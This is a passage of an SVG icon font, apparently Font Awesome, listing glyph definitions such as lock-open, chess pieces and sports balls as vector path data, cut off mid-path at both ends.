d="M485.5 448l90.5 -160h-101.1l-69.2002 160h79.7998zM357.5 448l69.2002 -160h-277.4l69.2002 160h139zM90.5 448h79.7998l-69.2002 -160h-101.1zM0 256h100.7l123 -251.7c1.5 -3.09961 -2.7002 -5.89941 -5 -3.2998zM148.2 256h279.6l-137 -318.2
c-1 -2.39941 -4.5 -2.39941 -5.5 0zM352.3 4.2998l123 251.7h100.7l-218.7 -254.9c-2.2998 -2.69922 -6.5 0.100586 -5 3.2002z" />
    <glyph glyph-name="level-down-alt" unicode="&#xf3be;" horiz-adv-x="320" 
d="M313.553 55.6689l-103.966 -112.003c-9.48535 -10.2139 -25.6758 -10.2295 -35.1738 0l-103.975 112.003c-14.2061 15.2998 -3.37695 40.3311 17.5869 40.3311h63.9746v272h-83.9756h-0.00195312c-2.74316 0 -6.54395 1.5752 -8.4834 3.51465l-56 56
c-7.56055 7.55957 -2.20605 20.4854 8.48535 20.4854h195.976c13.2549 0 24 -10.7451 24 -24v-328h63.9658c20.8779 0 31.8516 -24.9688 17.5869 -40.3311z" />
    <glyph glyph-name="level-up-alt" unicode="&#xf3bf;" horiz-adv-x="320" 
d="M313.553 328.331c14.2646 -15.3623 3.29102 -40.3311 -17.5869 -40.3311h-63.9658v-328c0 -13.2549 -10.7451 -24 -24 -24h-195.976c-10.6914 0 -16.0459 12.9258 -8.48535 20.4854l56 56c1.93945 1.93945 5.74023 3.51465 8.4834 3.51465h0.00195312h83.9756v272
h-63.9746c-20.9639 0 -31.793 25.0312 -17.5869 40.3311l103.975 112.003c9.49805 10.2295 25.6885 10.2139 35.1738 0z" />
    <glyph glyph-name="lock-open" unicode="&#xf3c1;" horiz-adv-x="576" 
d="M423.5 448c84 0.299805 152.5 -68 152.5 -152v-80c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v80c0 39.9004 -32.7002 72.4004 -72.7002 72c-39.5996 -0.400391 -71.2998 -33.2998 -71.2998 -72.9004v-71.0996h48c26.5 0 48 -21.5 48 -48v-192
c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v192c0 26.5 21.5 48 48 48h224v70.5c0 84 67.5 153.2 151.5 153.5z" />
    <glyph glyph-name="map-marker-alt" unicode="&#xf3c5;" horiz-adv-x="384" 
d="M172.268 -53.6699c-145.298 210.639 -172.268 232.257 -172.268 309.67c0 106.039 85.9609 192 192 192s192 -85.9609 192 -192c0 -77.4131 -26.9697 -99.0312 -172.268 -309.67c-9.53516 -13.7744 -29.9307 -13.7734 -39.4648 0zM192 176c44.1826 0 80 35.8174 80 80
s-35.8174 80 -80 80s-80 -35.8174 -80 -80s35.8174 -80 80 -80z" />
    <glyph glyph-name="microphone-alt" unicode="&#xf3c9;" horiz-adv-x="352" 
d="M336 256c8.83984 0 16 -7.16016 16 -16v-48c0 -88.9004 -66.29 -162.47 -152 -174.23v-33.7695h56c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56v34.1504
c-88.0303 12.1396 -152 92.0498 -152 181.689v40.1602c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-42.2998c0 -66.8105 48.71 -126.59 115.21 -133.08c76.2998 -7.44043 140.79 52.5801 140.79 127.38v48c0 8.83984 7.16016 16 16 16h16zM176 96
c-53.0195 0 -96 42.9805 -96 96v160c0 53.0195 42.9805 96 96 96s96 -42.9805 96 -96h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16
c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301c0 -53.0195 -42.9805 -96 -96 -96z" />
    <glyph glyph-name="mobile-alt" unicode="&#xf3cd;" horiz-adv-x="320" 
d="M272 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-224c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h224zM160 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM272 76v312
c0 6.59961 -5.40039 12 -12 12h-200c-6.59961 0 -12 -5.40039 -12 -12v-312c0 -6.59961 5.40039 -12 12 -12h200c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="money-bill-alt" unicode="&#xf3d1;" horiz-adv-x="640" 
d="M352 160c4.41992 0 8 -3.58008 8 -8v-16c0 -4.41992 -3.58008 -8 -8 -8h-64c-4.41992 0 -8 3.58008 -8 8v16c0 4.41992 3.58008 8 8 8h16v55.4404l-0.469727 -0.310547c-1.1123 -0.741211 -3.09961 -1.34375 -4.43652 -1.34375
c-2.36328 0 -5.34375 1.59668 -6.65332 3.56348l-8.88086 13.3105c-0.741211 1.1123 -1.34375 3.09961 -1.34375 4.43555c0 2.36328 1.59668 5.34473 3.56445 6.6543l15.3301 10.2197c3.93945 2.62988 8.56934 4.03027 13.3096 4.03027h13.5801c4.41992 0 8 -3.58008 8 -8
v-88h16zM608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM48 48h64c0 35.3496 -28.6504 64 -64 64v-64zM48 272c35.3496 0 64 28.6504 64 64h-64v-64zM320 80
c53 0 96 50.1299 96 112c0 61.8604 -42.9805 112 -96 112s-96 -50.1396 -96 -112c0 -61.8496 42.9805 -112 96 -112zM592 48v64c-35.3496 0 -64 -28.6504 -64 -64h64zM592 272v64h-64c0 -35.3496 28.6504 -64 64 -64z" />
    <glyph glyph-name="phone-slash" unicode="&#xf3dd;" horiz-adv-x="640" 
d="M268.2 66.5996c11.5 5.40039 22.7002 11.6006 33.5996 18.1006l80 -61.7998c-76 -54.5 -169 -86.9004 -269.7 -86.9004c-11.2998 0 -20.8994 7.7998 -23.3994 18.5996l-24 104c-2.60059 11.4004 3.2002 22.9004 13.8994 27.5l112 48
c9.80078 4.2002 21.2002 1.40039 28 -6.89941zM633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002
c5.5 7 15.5 8.2002 22.5 2.7998l353.9 -273.5c18.0996 22.5 33.7998 46.7002 46 72.8008l-60.6006 49.5996c-8.2998 6.7002 -11.0996 18.2002 -6.89941 28l48 112c4.59961 10.5996 16.1992 16.5 27.5 13.9004l104 -24c10.8994 -2.5 18.5996 -12.2002 18.5996 -23.4004
c0 -108.9 -38.0996 -208.4 -100.9 -287.5z" />
    <glyph glyph-name="portrait" unicode="&#xf3e0;" horiz-adv-x="384" 
d="M336 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h288zM192 320c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM304 83.2002v19.2002
c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199
c12.4004 0 22.4004 8.59961 22.4004 19.2002z" />
    <glyph glyph-name="reply" unicode="&#xf3e5;" 
d="M8.30859 258.164l176.005 151.985c15.4053 13.3047 39.6865 2.50391 39.6865 -18.1641v-80.0537c160.629 -1.83887 288 -34.0312 288 -186.258c0 -61.4404 -39.5811 -122.309 -83.333 -154.132c-13.6533 -9.93066 -33.1113 2.5332 -28.0771 18.6309
c45.3438 145.012 -21.5068 183.51 -176.59 185.742v-87.915c0 -20.7002 -24.2998 -31.4531 -39.6865 -18.1641l-176.005 152c-11.0703 9.5625 -11.0859 26.7529 0 36.3281z" />
    <glyph glyph-name="shield-alt" unicode="&#xf3ed;" 
d="M466.5 364.3c17.7998 -7.39941 29.5 -24.8994 29.5 -44.2998c0 -221.3 -135.9 -344.6 -221.6 -380.3c-11.8008 -4.90039 -25.1006 -4.90039 -36.9004 0c-107 44.5996 -221.5 181.8 -221.5 380.3c0 19.4004 11.7002 36.9004 29.5996 44.2998l192 80
c4.89062 2.0293 13.1562 3.6748 18.4502 3.6748c5.29492 0 13.5596 -1.64551 18.4502 -3.6748zM256.1 1.7002c93.7002 46.5996 172.5 156.3 175.801 307.7l-175.9 73.2998z" />
    <glyph glyph-name="tablet-alt" unicode="&#xf3fa;" horiz-adv-x="448" 
d="M400 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h352zM224 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM400 76v312
c0 6.59961 -5.40039 12 -12 12h-328c-6.59961 0 -12 -5.40039 -12 -12v-312c0 -6.59961 5.40039 -12 12 -12h328c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="tachometer-alt" unicode="&#xf3fd;" horiz-adv-x="576" 
d="M288 416c159.06 0 288 -128.94 288 -288c0 -52.7998 -14.25 -102.26 -39.0596 -144.8c-5.61035 -9.62012 -16.3008 -15.2002 -27.4404 -15.2002h-443c-11.1396 0 -21.8301 5.58008 -27.4404 15.2002c-24.8096 42.54 -39.0596 92 -39.0596 144.8
c0 159.06 128.94 288 288 288zM288 352c-17.6699 0 -31.9902 -14.3301 -31.9902 -32s14.3301 -32 32 -32c6.66992 0 12.5098 2.51953 17.6406 6.00977l9.21973 27.6699c0.80957 2.44043 2.33984 4.41016 3.4502 6.66992c-3.74023 13.5205 -15.6104 23.6504 -30.3203 23.6504
zM96 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM144 224c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM390.77 296.41c4.18066 12.5703 -2.59961 26.1699 -15.1699 30.3594
c-12.6299 4.28027 -26.1895 -2.60938 -30.3594 -15.1699l-61.3398 -184.01c-33.4004 -2.16016 -59.9004 -29.6494 -59.9004 -63.5898c0 -11.7197 3.37988 -22.5498 8.87988 -32h110.24c5.5 9.4502 8.87988 20.2803 8.87988 32c0 19.46 -8.87012 36.6699 -22.5596 48.4102z
M405.43 239.21c5.68066 -8.94043 15.1904 -15.21 26.5703 -15.2197c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32c-3.91992 0 -7.58008 -0.94043 -11.0498 -2.23047zM480 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z
" />
    <glyph glyph-name="ticket-alt" unicode="&#xf3ff;" horiz-adv-x="576" 
d="M128 288h320v-192h-320v192zM528 192c0 -26.5098 21.4902 -48 48 -48v-96c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v96c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48v96c0 26.5098 21.4902 48 48 48h480c26.5098 0 48 -21.4902 48 -48
v-96c-26.5098 0 -48 -21.4902 -48 -48zM480 296c0 13.2549 -10.7451 24 -24 24h-336c-13.2549 0 -24 -10.7451 -24 -24v-208c0 -13.2549 10.7451 -24 24 -24h336c13.2549 0 24 10.7451 24 24v208z" />
    <glyph glyph-name="user-alt" unicode="&#xf406;" 
d="M256 160c-79.5 0 -144 64.5 -144 144s64.5 144 144 144s144 -64.5 144 -144s-64.5 -144 -144 -144zM384 128c70.7002 0 128 -57.2998 128 -128v-16c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v16c0 70.7002 57.2998 128 128 128h55.0996
c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h55.0996z" />
    <glyph glyph-name="window-close" unicode="&#xf410;" 
d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM380.4 125.5l-67.1006 66.5l67.1006 66.5c4.7998 4.7998 4.7998 12.5996 0 17.4004l-40.5 40.5
c-4.80078 4.7998 -12.6006 4.7998 -17.4004 0l-66.5 -67.1006l-66.5 67.1006c-4.7998 4.7998 -12.5996 4.7998 -17.4004 0l-40.5 -40.5c-4.7998 -4.80078 -4.7998 -12.6006 0 -17.4004l67.1006 -66.5l-67.1006 -66.5c-4.7998 -4.7998 -4.7998 -12.5996 0 -17.4004
l40.5 -40.5c4.80078 -4.7998 12.6006 -4.7998 17.4004 0l66.5 67.1006l66.5 -67.1006c4.7998 -4.7998 12.5996 -4.7998 17.4004 0l40.5 40.5c4.7998 4.80078 4.7998 12.6006 0 17.4004z" />
    <glyph glyph-name="baseball-ball" unicode="&#xf433;" horiz-adv-x="496" 
d="M368.5 84.0996c12.9004 -26.6992 30.2998 -50.1992 51.4004 -70.5996c-44.6006 -43 -105.101 -69.5 -171.9 -69.5c-66.9004 0 -127.5 26.5996 -172 69.7002c21.2002 20.3994 38.5996 44 51.5 70.7002l-28.7998 13.8994c-11.1006 -23 -26.1006 -43.2998 -44.2998 -61
c-34 42.4004 -54.4004 96.1006 -54.4004 154.7s20.4004 112.3 54.4004 154.8c17.7998 -17.2998 32.5 -37.0996 43.5 -59.3994l28.6992 14.0996c-12.7998 25.9004 -30 48.9004 -50.6992 68.7998c44.5996 43.1006 105.199 69.7002 172.1 69.7002
c67 0 127.6 -26.7002 172.2 -69.7998c-20.7998 -20 -38 -43 -50.7998 -69l28.6992 -14.1006c11 22.4004 25.8008 42.2002 43.6006 59.5c33.7998 -42.3994 54.2002 -96.0996 54.2002 -154.6c0 -58.5996 -20.5 -112.4 -54.5 -154.9c-18.1006 17.7002 -33 38 -44.1006 60.9004z
M140.2 116.1c17.2998 53.9004 14.2998 108.2 -0.700195 153.801l-30.4004 -10c13.3008 -40.2002 15.5 -87.6006 0.600586 -134zM356.5 269.5c-15 -45.5 -18 -99.7998 -0.700195 -153.8l30.5 9.7998c-14.8994 46.5 -12.5996 93.9004 0.600586 134z" />
    <glyph glyph-name="basketball-ball" unicode="&#xf434;" horiz-adv-x="496" 
d="M212.3 437.7c-1.5 -50 -17 -95.4004 -44.7998 -131.2l-77.4004 77.4004c36 29.6992 78.4004 47.5 122.2 53.7998zM248 226l-46.2998 46.2998c37.2002 45.4004 57.5 103.8 58.7002 167.7c51.8994 -2.59961 103.1 -21.0996 145.5 -56.0996zM56.0996 349.9l77.4004 -77.4004
c-35.7002 -27.7998 -81.2002 -43.2998 -131.2 -44.7998c6.2998 43.7998 24.1006 86.2002 53.7998 122.2zM328.3 145.7l-46.2998 46.2998l157.9 157.9c35 -42.4004 53.5 -93.6006 56.0996 -145.5c-64 -1.30078 -122.4 -21.6006 -167.7 -58.7002zM248 158l46.2998 -46.2998
c-37.0996 -45.2998 -57.3994 -103.7 -58.7002 -167.7c-51.8994 2.59961 -103.1 21.2002 -145.5 56.0996zM439.9 34.0996l-77.4004 77.4004c35.7002 27.7002 81.0996 43.2002 131.2 44.7998c-6.2998 -43.7998 -24.1006 -86.2002 -53.7998 -122.2zM167.7 238.3
l46.2998 -46.2998l-157.9 -157.9c-35 42.4004 -53.5 93.6006 -56.0996 145.5c63.9004 1.10059 122.3 21.5 167.7 58.7002zM283.7 -53.7002c1.59961 50 17.0996 95.5 44.7998 131.2l77.4004 -77.4004c-36 -29.6992 -78.4004 -47.5 -122.2 -53.7998z" />
    <glyph glyph-name="bowling-ball" unicode="&#xf436;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM120 256c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM184 352c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32
s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM232 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="chess" unicode="&#xf439;" 
d="M74 240l-33.9102 90.3799c-0.5625 1.5 -1.01953 4.01758 -1.01953 5.62012c0 8.83203 7.16797 16 16 16h0.0195312h56.9102v32h-24c-4.41602 0 -8 3.58398 -8 8v16c0 4.41602 3.58398 8 8 8h24v24c0 4.41602 3.58398 8 8 8h16c4.41602 0 8 -3.58398 8 -8v-24h24
c4.41602 0 8 -3.58398 8 -8v-16c0 -4.41602 -3.58398 -8 -8 -8h-24v-32h56.8896h0.0195312c8.83203 0 16 -7.16797 16 -16c0 -1.60254 -0.456055 -4.12012 -1.01953 -5.62012l-33.8896 -90.3799h10c8.83203 0 16 -7.16797 16 -16v-16c0 -8.83203 -7.16797 -16 -16 -16
h-15.9404c0.116211 -35.8613 7.25684 -93.2051 15.9404 -128h-128c8.68359 34.7949 15.8242 92.1387 15.9404 128h-15.9404c-8.83203 0 -16 7.16797 -16 16v16c0 8.83203 7.16797 16 16 16h10zM247.16 -11.5801c4.87988 -2.44141 8.83984 -8.85156 8.83984 -14.3086
v-0.000976562v-22.1104c0 -8.83203 -7.16797 -16 -16 -16h-224c-8.83203 0 -16 7.16797 -16 16v22.1104c0.000976562 5.45898 3.96582 11.8701 8.84961 14.3096l23.1504 11.5801v16c0 8.83203 7.16797 16 16 16h160c8.83203 0 16 -7.16797 16 -16v-16zM339.93 146.2
l-24.5693 20.7998c-6.25684 5.28125 -11.3467 16.2119 -11.3604 24.4004v58.5996c0 3.31152 2.68848 6 6 6h26.3896c3.3125 0 6 -2.68848 6 -6v-26h24.71v26c0 3.31152 2.68848 6 6 6h53.8105c3.31152 0 6 -2.68848 6 -6v-26h24.71v26c0 3.31152 2.6875 6 6 6h26.3799
c3.31152 0 6 -2.68848 6 -6v-58.54v-0.03125c0 -8.19238 -5.07617 -19.1367 -11.3301 -24.4287l-24.5996 -20.79l3.29004 -82.21h-126.721zM384 144v-32h32v32c0 8.83203 -7.16797 16 -16 16s-16 -7.16797 -16 -16zM503.16 -11.5801
c4.87988 -2.44141 8.83984 -8.85156 8.83984 -14.3086v-0.000976562v-22.1104c0 -8.83203 -7.16797 -16 -16 -16h-192c-8.83203 0 -16 7.16797 -16 16v22.1104c0.000976562 5.45898 3.96582 11.8701 8.84961 14.3096l23.1504 11.5801v16c0 8.83203 7.16797 16 16 16h128
c8.83203 0 16 -7.16797 16 -16v-16z" />
    <glyph glyph-name="chess-bishop" unicode="&#xf43a;" horiz-adv-x="320" 
d="M8 160.12c0 73.3799 59.8096 181.08 112.6 225.37c-14 3.41992 -24.5996 15.5098 -24.5996 30.5098c0 17.6641 14.3359 32 32 32h64c17.6641 0 32 -14.3359 32 -32c0 -15.0498 -10.5996 -27.0898 -24.5996 -30.5098c24.3994 -20.4902 50.0693 -54.6807 70.8691 -92.5898
l-107.89 -107.931c-1.29199 -1.29297 -2.34082 -3.82617 -2.34082 -5.6543c0 -1.8291 1.04883 -4.3623 2.34082 -5.65527l11.3105 -11.3105c1.29297 -1.29199 3.82617 -2.34082 5.6543 -2.34082s4.3623 1.04883 5.65527 2.34082l100.31 100.33
c15.96 -35.46 26.6904 -71.9492 26.6904 -102.56c0 -51.6006 -22.1396 -73.8301 -56 -84.6006v-43.5195h-192v43.5195c-33.8604 10.7705 -56 32.9609 -56 84.6006zM304 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-288
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h288z" />
    <glyph glyph-name="chess-board" unicode="&#xf43c;" 
d="M255.9 447.8v-64h-64v64h64zM0 383.83h64v-64h-64v64zM128 447.8v-64h-64v64h64zM192 191.9h64v-64h-64v64zM0 255.88h64v-64h-64v64zM383.85 447.8v-64h-64v64h64zM511.85 447.8v-64h-64v64h64zM128 191.9v-64h-64v64h64zM511.8 0h-64v64h64v-64zM511.8 128h-64v64h64
v-64zM383.85 -64v64h64v-64h-64zM511.85 255.88h-64v64h64v-64zM128 -64v64h64v-64h-64zM0 -64v64h64v-64h-64zM255.9 -64v64h64v-64h-64zM0 127.93h64v-64h-64v64zM319.88 319.85h-64v64h64v-64zM255.88 191.85v64h64v-64h-64zM191.88 63.8496h64v-64h-64v64z
M319.88 127.85v64h64v-64h-64zM319.88 255.8v64h64v-64h-64zM319.88 63.8701h64v-64h-64v64zM64 63.9502h64v-64h-64v64zM192 319.85h-64v64h64v-64zM383.92 63.9502v64h64v-64h-64zM255.92 255.88h-64v64h64v-64zM383.92 383.83h64v-64h-64v64zM255.92 127.93h64v-64h-64
v64zM191.92 255.88l0.0800781 -64h-64v64h63.9199zM383.84 191.88v64h64v-64h-64zM128 319.85v-64h-64v64h64zM128 127.93h64v-64h-64v64z" />
    <glyph glyph-name="chess-king" unicode="&#xf43f;" horiz-adv-x="448" 
d="M400 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-352c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h352zM416 288c17.6504 -0.0136719 31.9756 -14.3496 31.9756 -32c0 -2.69434 -0.652344 -6.96777 -1.45605 -9.54004
l-73.0791 -214.46h-298.881l-73.0791 214.46c-0.803711 2.57227 -1.45605 6.8457 -1.45605 9.54004c0 17.6504 14.3252 31.9863 31.9756 32h160v48h-40c-4.41602 0 -8 3.58398 -8 8v48c0 4.41602 3.58398 8 8 8h40v40c0 4.41602 3.58398 8 8 8h48c4.41602 0 8 -3.58398 8 -8
v-40h40c4.41602 0 8 -3.58398 8 -8v-48c0 -4.41602 -3.58398 -8 -8 -8h-40v-48h160z" />
    <glyph glyph-name="chess-knight" unicode="&#xf441;" horiz-adv-x="384" 
d="M19 175.53c-10.4883 4.66211 -19 17.7627 -19 29.2402v0.0195312v137.21v0.0585938c0 5.47461 3.13574 13.0635 7 16.9414l9 9l-14.21 28.4199c-0.988281 1.97266 -1.79004 5.36328 -1.79004 7.56934v0.0107422c0 6.62402 5.37598 12 12 12h147.94
c106 0 191.92 -86 191.92 -192v-192h-319.86v14.5195v0.0224609c0 27.2783 19.7969 59.3271 44.1904 71.5381l57.2197 28.6504c14.6445 7.32324 26.5303 26.5566 26.5303 42.9297v0.00976562v50.3301l-22.1201 -11.0801
c-5.45117 -2.72559 -11.0732 -9.7373 -12.5508 -15.6504l-9.21973 -30.6494c-2.4502 -8.15332 -10.8545 -17.3379 -18.7598 -20.5l-12.7803 -5.12012c-3.1582 -1.2627 -8.48145 -2.28809 -11.8828 -2.28809c-3.74902 0 -9.57129 1.23535 -12.9971 2.75781zM52 320
c-11.04 0 -20 -8.95996 -20 -20s8.95996 -20 20 -20s20 8.95996 20 20s-8.95996 20 -20 20zM368 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-352c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h352z" />
    <glyph glyph-name="chess-pawn" unicode="&#xf443;" horiz-adv-x="320" 
d="M105.1 224c-29.3896 18.3799 -49.0996 50.7803 -49.0996 88c0 57.4082 46.5918 104 104 104s104 -46.5918 104 -104c0 -37.2197 -19.71 -69.6201 -49.0996 -88h25.0996c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-16v-5.49023
c0 -44 4.11035 -86.5996 24 -122.51h-176c19.8604 35.9102 24 78.5098 24 122.51v5.49023h-16c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h25.0996zM304 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-288
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h288z" />
    <glyph glyph-name="chess-queen" unicode="&#xf445;" 
d="M256 336c-30.9121 0 -56 25.0879 -56 56s25.0879 56 56 56s56 -25.0879 56 -56s-25.0879 -56 -56 -56zM432 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-352c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h352zM504.87 263.84
c3.93457 -2.62109 7.12891 -8.58691 7.12891 -13.3154c0 -2.08496 -0.756836 -5.29004 -1.68945 -7.1543l-102.55 -211.37h-303.52l-102.55 211.33c-0.932617 1.86426 -1.68945 5.06934 -1.68945 7.1543c0 4.72852 3.19434 10.6943 7.12891 13.3154l28.5703 16
c7.35938 4.91016 16.8096 2.5498 22.0898 -4.54004c7.86035 -10.6357 24.9736 -19.2676 38.1992 -19.2676c0.922852 0 2.41992 0.0527344 3.34082 0.118164c25.6699 1.73926 44.6699 24.7998 44.6699 50.4893c0 7.39746 6.00293 13.4004 13.4004 13.4004v0h38.7695
c6.04004 0 11.6104 -3.99023 12.8604 -9.91016c4.42969 -21.0361 25.4717 -38.1094 46.9697 -38.1094s42.54 17.0732 46.9697 38.1094c1.25 5.91016 6.86035 9.91016 12.8604 9.91016h38.7695c7.39746 0 13.4004 -6.00293 13.4004 -13.4004
c0 -23.5293 15.7002 -45.46 38.8398 -49.75c2.48926 -0.484375 6.56738 -0.878906 9.10352 -0.878906c13.166 0 30.2471 8.56152 38.127 19.1094c5.37988 7.13965 14.8496 9.67969 22.29 4.67969z" />
    <glyph glyph-name="chess-rook" unicode="&#xf447;" horiz-adv-x="384" 
d="M368 416c8.83203 0 16 -7.16797 16 -16v-176l-64 -32c0 -47.7197 1.54004 -95 13.21 -160h-282.42c11.6699 65 13.21 111.67 13.21 160l-64 32v176c0 8.83203 7.16797 16 16 16h56.0996c8.83203 0 16 -7.16797 16 -16v-48h47.9004v48c0 8.83203 7.16797 16 16 16h80
c8.83203 0 16 -7.16797 16 -16v-48h48v48c0 8.83203 7.16797 16 16 16h56zM224 128v64c0 17.6641 -14.3359 32 -32 32s-32 -14.3359 -32 -32v-64h64zM368 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-352c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h352z" />
    <glyph glyph-name="dumbbell" unicode="&#xf44b;" horiz-adv-x="640" 
d="M104 352c13.2998 0 24 -10.7002 24 -24v-272c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v104h-24c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h24v104c0 13.2998 10.7002 24 24 24h48zM632 224c4.40039 0 8 -3.59961 8 -8v-48
c0 -4.40039 -3.59961 -8 -8 -8h-24v-104c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v272c0 13.2998 10.7002 24 24 24h48c13.2998 0 24 -10.7002 24 -24v-104h24zM456 416c13.2998 0 24 -10.7002 24 -24v-400c0 -13.2998 -10.7002 -24 -24 -24h-48
c-13.2998 0 -24 10.7002 -24 24v168h-128v-168c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v400c0 13.2998 10.7002 24 24 24h48c13.2998 0 24 -10.7002 24 -24v-168h128v168c0 13.2998 10.7002 24 24 24h48z" />
    <glyph glyph-name="football-ball" unicode="&#xf44e;" horiz-adv-x="496" 
d="M481.5 387.7c6.2998 -23.9004 13.7002 -61 14.5 -104.5l-156.6 156.8c43.5996 -0.900391 80.8994 -8.5 104.8 -14.9004c18.2002 -4.89941 32.5 -19.1992 37.2998 -37.3994zM14.5 -3.7002c-6.2998 23.9004 -13.7002 61 -14.5 104.5l156.6 -156.8
c-43.5996 0.900391 -80.8994 8.5 -104.8 14.9004c-18.2002 4.89941 -32.5 19.1992 -37.2998 37.3994zM4.2002 164.6c22.5996 152.7 138.899 252 271.399 271.4l216.301 -216.6c-22.7002 -152.7 -139 -252 -271.5 -271.4zM321.5 288.2l-28.2998 -28.5l-28.2998 28.2998
c-3.10059 3.09961 -8.2002 3.09961 -11.3008 0l-11.2998 -11.2998c-3.09961 -3.10059 -3.09961 -8.2002 0 -11.2998l28.2998 -28.3008l-22.5996 -22.5996l-28.2998 28.2998c-3.10059 3.10059 -8.2002 3.10059 -11.2998 0l-11.3008 -11.2998
c-3.09961 -3.09961 -3.09961 -8.2002 0 -11.2998l28.3008 -28.2998l-22.6006 -22.6006l-28.2998 28.2998c-3.09961 3.10059 -8.2002 3.10059 -11.2998 0l-11.2998 -11.2998c-3.10059 -3.09961 -3.10059 -8.2002 0 -11.2998l28.2998 -28.2002l-28.2998 -28.2998
c-3.10059 -3.09961 -3.10059 -8.2002 0 -11.2998l11.2998 -11.2998c3.09961 -3.10059 8.2002 -3.10059 11.2998 0l28.2998 28.2998l28.2998 -28.2998c3.10059 -3.10059 8.2002 -3.10059 11.3008 0l11.2998 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998
